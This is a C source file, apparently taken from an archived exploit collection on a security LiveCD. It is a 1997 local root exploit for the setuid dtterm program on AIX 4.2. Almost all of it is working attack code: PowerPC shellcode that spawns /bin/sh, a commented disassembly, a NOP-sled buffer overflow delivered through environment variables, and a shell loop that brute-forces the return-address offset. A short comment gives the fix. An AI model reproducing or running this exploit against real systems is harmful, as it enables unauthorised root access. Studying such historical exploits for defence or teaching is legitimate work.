home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / aix / local / dtterm.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  5KB  |  202 lines

  1. /*
  2.  AIX 4.2,(others?) dtterm exploit by Georgi Guninski
  3.  
  4. ----------------------------------------
  5. DISCLAIMER
  6.  
  7.  This program is for educational purpose ONLY. Do not use it without
  8. permission.
  9.  The usual standard disclaimer applies, especially the fact that Georgi
  10. Guninski
  11.  is not liable for any damages caused by direct or  indirect use of
  12.  the information or functionality provided by this program.
  13.  Georgi Guninski, his employer or any Internet provider bears NO
  14. responsibility for content
  15.  or misuse of this program or any derivatives thereof.
  16.  By using this program you accept the fact that any damage (dataloss,
  17. system
  18.  crash, system compromise, etc.) caused by the use of this program is not
  19.  Georgi Guninski's responsibility.
  20.  
  21. In case you distribute this, please keep the disclaimer and my addresses.
  22. -----------------------------------------
  23. Use the IBM C compiler.
  24. Compile with: cc -g aixdtterm.c
  25. Some brute forcing may help.
  26. DISPLAY should be set to a valid display.
  27. SOLUTION: #chmod -s /usr/dt/bin/dtterm          ; dtterm seems to continue
  28. working?
  29. -----------------
  30. Georgi Guninski
  31.  guninski@hotmail.com
  32.  sgg@vmei.acad.bg
  33.  guninski@linux2.vmei.acad.bg
  34.  
  35. Suggestions,comments and job offers are welcome!
  36. 20-MAY-97
  37. */
  38. #include <stdio.h>
  39. #include <stdlib.h>
  40. #include <string.h>
  41.  
  42.  
  43. char prog[100]="/usr/dt/bin/dtterm";
  44. char prog2[30]="dtterm";
  45. extern int execv();
  46.  
  47. char *createvar(char *name,char *value)
  48. {
  49.   char *c;
  50.   int l;
  51.   l=strlen(name)+strlen(value)+4;
  52.   if (! (c=malloc(l)))
  53.     {
  54.       perror("error allocating");
  55.       exit(2);
  56.     };
  57.   strcpy(c,name);
  58.   strcat(c,"=");
  59.   strcat(c,value);
  60.   putenv(c);
  61.   return c;
  62. }
  63.  
  64. /*The program*/
  65. main(int argc,char **argv,char **env)
  66. {
  67.   /*The code*/
  68.   unsigned int code[]={
  69.     0x7c0802a6 , 0x9421fbb0 , 0x90010458 , 0x3c60f019 ,
  70.     0x60632c48 , 0x90610440 , 0x3c60d002 , 0x60634c0c ,
  71.     0x90610444 , 0x3c602f62 , 0x6063696e , 0x90610438 ,
  72.     0x3c602f73 , 0x60636801 , 0x3863ffff , 0x9061043c ,
  73.     0x30610438 , 0x7c842278 , 0x80410440 , 0x80010444 ,
  74.     0x7c0903a6 , 0x4e800420, 0x0
  75.   };
  76.   /* disassembly
  77.   7c0802a6        mfspr   r0,LR
  78.   9421fbb0        stu     SP,-1104(SP) --get stack
  79.   90010458        st      r0,1112(SP)
  80.   3c60f019        cau     r3,r0,0xf019 --CTR
  81.   60632c48        lis     r3,r3,11336  --CTR
  82.   90610440        st      r3,1088(SP)
  83.   3c60d002        cau     r3,r0,0xd002 --TOC
  84.   60634c0c        lis     r3,r3,19468  --TOC
  85.   90610444        st      r3,1092(SP)
  86.   3c602f62        cau     r3,r0,0x2f62 --'/bin/sh\x01'
  87.   6063696e        lis     r3,r3,26990
  88.   90610438        st      r3,1080(SP)
  89.   3c602f73        cau     r3,r0,0x2f73
  90.   60636801        lis     r3,r3,26625
  91.   3863ffff        addi    r3,r3,-1
  92.   9061043c        st      r3,1084(SP) --terminate with 0
  93.   30610438        lis     r3,SP,1080
  94.   7c842278        xor     r4,r4,r4    --argv=NULL
  95.   80410440        lwz     RTOC,1088(SP)
  96.   80010444        lwz     r0,1092(SP) --jump
  97.   7c0903a6        mtspr   CTR,r0
  98.   4e800420        bctr              --jump
  99.   */
  100.  
  101. #define MAXBUF 600
  102.   unsigned int buf[MAXBUF];
  103.   unsigned int frame[MAXBUF];
  104.   unsigned int i,nop,mn;
  105.   int max;
  106.   int QUIET=0;
  107.   int dobuf=0;
  108.   unsigned int toc;
  109.   unsigned int eco;
  110.   unsigned int *pt;
  111.   char *t;
  112.   int ch;
  113.   unsigned int reta; /* return address */
  114.   int corr=1000;
  115.   char *args[4];
  116.   char *arg1="-ms";
  117.   char *newenv[8];
  118.   int startwith=0;
  119.  
  120.   mn=200;
  121.   max=300;
  122.  
  123.   if (argc>1)
  124.     corr = atoi(argv[1]);
  125.  
  126.   pt=(unsigned *) &execv;
  127.   toc=*(pt+1);
  128.   eco=*pt;
  129.  
  130.   if ( ((mn+strlen((char*)&code)/4)>max) || (max>MAXBUF) )
  131.     {
  132.       perror("Bad parameters");
  133.       exit(1);
  134.     }
  135.  
  136. #define OO 7
  137.   *((unsigned short *)code + OO + 2)=(unsigned short) (toc & 0x0000ffff);
  138.   *((unsigned short *)code + OO)=(unsigned short) ((toc >> 16) & 0x0000ffff);
  139.   *((unsigned short *)code + OO + 8 )=(unsigned short) (eco & 0x0000ffff);
  140.   *((unsigned short *)code + OO + 6 )=(unsigned short) ((eco >> 16) &
  141.                                       0x0000ffff);
  142.  
  143.   reta=startwith ? (unsigned) &buf[mn]+corr : (unsigned)&buf[0]+corr;
  144.  
  145.   for(nop=0;nop<mn;nop++)
  146.     buf[nop]=startwith ? reta : 0x4ffffb82;        /*NOP*/
  147.   strcpy((char*)&buf[nop],(char*)&code);
  148.   i=nop+strlen( (char*) &code)/4-1;
  149.  
  150.   if( !(reta & 0xff) || !(reta && 0xff00) || !(reta && 0xff0000)
  151.       || !(reta && 0xff000000))
  152.     {
  153.       perror("Return address has zero");
  154.       exit(5);
  155.     }
  156.  
  157.   while(i++<max)
  158.     buf[i]=reta;
  159.   buf[i]=0;
  160.  
  161.   for(i=0;i<max-1;i++)
  162.     frame[i]=reta;
  163.   frame[i]=0;
  164.  
  165.   if(QUIET)
  166.     {
  167.       puts((char*)&buf);
  168.       fflush(stdout);
  169.       exit(0);
  170.     };
  171.  
  172.   /* 4 vars 'cause the correct one should be aligned at 4bytes boundary */
  173.   newenv[0]=createvar("EGGSHEL",(char*)&buf[0]);
  174.   newenv[1]=createvar("EGGSHE2",(char*)&buf[0]);
  175.   newenv[2]=createvar("EGGSHE3",(char*)&buf[0]);
  176.   newenv[3]=createvar("EGGSHE4",(char*)&buf[0]);
  177.  
  178.  
  179.   newenv[4]=createvar("DISPLAY",getenv("DISPLAY"));
  180.   newenv[5]=NULL;
  181.  
  182.   args[0]=prog2;
  183.   args[1]=arg1;
  184.   args[2]=(char*)&frame[0]; /* Just frame pointers */
  185.   puts("Start...");/*Here we go*/
  186.   execve(prog,args,newenv);
  187.   perror("Error executing execve \n");
  188. }
  189.  
  190. /*
  191. -------sometimes this helps-----------------------
  192. #!/bin/ksh
  193. L=20
  194. O=40
  195. while [ $L -lt 12000 ]
  196. do
  197. echo $L
  198. L=`expr $L + 144`
  199. ./a.out $L
  200. done
  201. */
  202. /*                    www.hack.co.za              [2000]*/